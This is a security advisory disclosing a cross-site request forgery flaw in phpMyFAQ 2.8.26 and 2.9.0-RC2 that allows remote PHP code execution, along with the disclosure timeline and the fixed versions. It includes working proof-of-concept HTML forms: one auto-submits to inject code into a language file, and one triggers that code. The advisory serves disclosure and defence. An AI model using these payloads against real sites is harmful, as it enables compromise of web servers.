RCE via CSRF in phpMyFAQ

[High-Tech Bridge Security Research <advisory () htbridge ch>]

Advisory ID: HTB23300
Product: phpMyFAQ
Vendor: http://www.phpmyfaq.de 
Vulnerable Version(s): 2.8.26, 2.9.0-RC2 and probably prior
Tested Version: 2.8.26, 2.9.0-RC2
Advisory Publication:  March 30, 2016  [without technical details]
Vendor Notification: March 30, 2016 
Vendor Patch: April 11, 2016 
Public Disclosure: April 20, 2016 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: High 
CVSSv3 Base Score: 8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered a high-risk security vulnerability in a popular multilingual FAQ 
software phpMyFAQ. A remote attacker can execute arbitrary PHP code on vulnerable system via CSRF attack against 
website administrator and completely compromise vulnerable web application. 

The vulnerability exists due to application does not properly verify origin of HTTP requests in "Interface Translation" 
functionality. A remote unauthenticated attacker can create a specially crafted malicious web page with CSRF exploit, 
trick a logged-in administrator to visit the page, spoof the HTTP request, as if it was coming from the legitimate 
user, inject and execute arbitrary PHP code on the target system with privileges of the webserver. 

A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into file "/lang/language_af.php":


 <form action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_added_trans"; method="POST" 
name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />
</form><script>document.main.submit();</script>


To trigger the execution of "phpinfo()", just open the following file in your browser (no privileges required): 


 <form action="http://[host]/"; method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />
</form>



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Solution:

Update to phpMyFAQ 2.8.27 or 2.9.0-RC3

More Information:
http://www.phpmyfaq.de/security/advisory-2016-04-11

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References:

[1] High-Tech Bridge Advisory HTB23300 - https://www.htbridge.com/advisory/HTB23300 - RCE via CSRF in phpMyFAQ
[2] phpMyFAQ - http://www.phpmyfaq.de - Open Source FAQ software
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE 
is a formal list of software weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by High-Tech Bridge for on-demand and 
continuous web application security, vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL implementation for PCI DSS and NIST 
compliance. Supports all types of protocols.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details 
of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.